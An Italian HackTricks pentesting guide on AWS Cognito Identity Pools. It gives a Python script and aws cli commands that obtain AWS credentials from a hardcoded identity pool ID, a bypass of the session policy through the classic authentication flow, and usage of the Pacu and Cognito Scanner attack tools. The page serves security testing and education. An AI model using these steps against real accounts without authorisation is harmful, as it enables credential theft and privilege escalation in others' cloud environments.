Cognito Identity Pools

Sostieni HackTricks

Informazioni di base

I pool di identità svolgono un ruolo cruciale consentendo ai tuoi utenti di acquisire credenziali temporanee. Queste credenziali sono essenziali per accedere a vari servizi AWS, tra cui ma non limitati a Amazon S3 e DynamoDB. Una caratteristica notevole dei pool di identità è il supporto sia per gli utenti ospiti anonimi che per una serie di fornitori di identità per l'autenticazione degli utenti. I fornitori di identità supportati includono:

  • Pool di utenti Amazon Cognito

  • Opzioni di accesso tramite social come Facebook, Google, Accedi con Amazon e Accedi con Apple

  • Fornitori conformi a OpenID Connect (OIDC)

  • Fornitori di identità SAML (Security Assertion Markup Language)

  • Identità autenticate dagli sviluppatori

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Per generare sessioni di Identity Pool, è prima necessario generare un ID di identità. Questo ID di identità è l'identificazione della sessione di quell'utente. Queste identificazioni possono avere fino a 20 set di dati che possono memorizzare fino a 1 MB di coppie chiave-valore.

Questo è utile per mantenere informazioni di un utente (che utilizzerà sempre lo stesso ID di identità).

Inoltre, il servizio cognito-sync è il servizio che consente di gestire e sincronizzare queste informazioni (nei set di dati, inviando informazioni in stream e messaggi SNS...).

Strumenti per il pentesting

  • Pacu, il framework di sfruttamento AWS, include ora i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumerazione di tutti gli asset Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzabili modificabili, credenziali di pool di identità utilizzabili, ruoli assumibili nei token di identità, ecc.

Per una descrizione delle funzioni dei moduli, consultare la parte 2 del post del blog. Per le istruzioni di installazione, consultare la pagina principale di Pacu.

Utilizzo

Esempio di utilizzo di cognito__attack per tentare la creazione di un utente e tutti i vettori di privilegi contro un determinato pool di identità e un client pool di utenti:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Esempio di utilizzo di cognito__enum per raccogliere tutti i pool di utenti, client pool di utenti, pool di identità, utenti, ecc. visibili nell'account AWS corrente:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa la creazione indesiderata di account e l'escalation del pool di identità.

Installazione

$ pip install cognito-scanner

Utilizzo

$ cognito-scanner --help

Per ulteriori informazioni controlla https://github.com/padok-team/cognito-scanner

Accesso ai Ruoli IAM

Non autenticato

L'unica cosa di cui un attaccante ha bisogno per ottenere le credenziali AWS in un'app Cognito come utente non autenticato è l'ID del Pool di Identità, e questo ID deve essere codificato nell'applicazione web/mobile affinché possa utilizzarlo. Un ID ha un formato simile a questo: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (non è soggetto a forza bruta).

Il ruolo IAM Cognito non autenticato creato tramite è chiamato di default Cognito_<Nome Pool di Identità>Unauth_Role

Se trovi un ID del Pool di Identità codificato e consente agli utenti non autenticati, puoi ottenere le credenziali AWS con:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Oppure potresti utilizzare i seguenti comandi aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Si noti che per impostazione predefinita un utente Cognito non autenticato NON PUÒ avere alcun permesso, anche se è stato assegnato tramite una policy. Controlla la sezione seguente.

Flusso di autenticazione avanzato vs di base

La sezione precedente ha seguito il flusso di autenticazione avanzato predefinito. Questo flusso imposta una policy di sessione restrittiva al ruolo IAM generato per la sessione. Questa policy consentirà solo alla sessione di utilizzare i servizi da questo elenco (anche se il ruolo aveva accesso ad altri servizi).

Tuttavia, c'è un modo per aggirare questo, se l'Identity pool ha abilitato il "Flusso di base (Classico)", l'utente sarà in grado di ottenere una sessione utilizzando quel flusso che non avrà quella policy di sessione restrittiva.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Se ricevi questo errore, è perché il flusso di base non è abilitato (predefinito)

Si è verificato un errore (InvalidParameterException) durante la chiamata all'operazione GetOpenIdToken: il flusso di base (classico) non è abilitato, utilizzare il flusso avanzato.

Avendo un set di credenziali IAM dovresti controllare a quali accessi hai diritto e provare a escalare i privilegi.

Autenticato

Ricorda che gli utenti autenticati probabilmente avranno autorizzazioni diverse, quindi se puoi registrarti nell'app, prova a farlo e ottieni le nuove credenziali.

Potrebbero anche essere disponibili ruoli per utenti autenticati che accedono al Pool di identità.

Per questo potresti avere bisogno di accedere al fornitore di identità. Se si tratta di un Cognito User Pool, forse puoi abusare del comportamento predefinito e creare un nuovo utente tu stesso.

Il ruolo IAM Cognito autenticato creato tramite è chiamato per impostazione predefinita Cognito_<Nome del pool di identità>Auth_Role

In ogni caso, l'esempio seguente presuppone che tu abbia già effettuato l'accesso all'interno di un Cognito User Pool utilizzato per accedere al Pool di identità (non dimenticare che potrebbero essere configurati anche altri tipi di fornitori di identità).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Ottieni l'identity_id dalla risposta del comando precedente
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# Nel token di identità puoi trovare i ruoli a cui un utente ha accesso a causa dei Gruppi del Pool di utenti
# Usa --custom-role-arn per ottenere credenziali per un ruolo specifico
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

È possibile configurare ruoli IAM diversi a seconda del fornitore di identità con cui l'utente effettua l'accesso o addirittura solo a seconda dell'utente (utilizzando claim). Pertanto, se hai accesso a diversi utenti attraverso lo stesso o diversi fornitori, potrebbe essere utile effettuare l'accesso e accedere ai ruoli IAM di tutti loro.

Supporta HackTricks

Last updated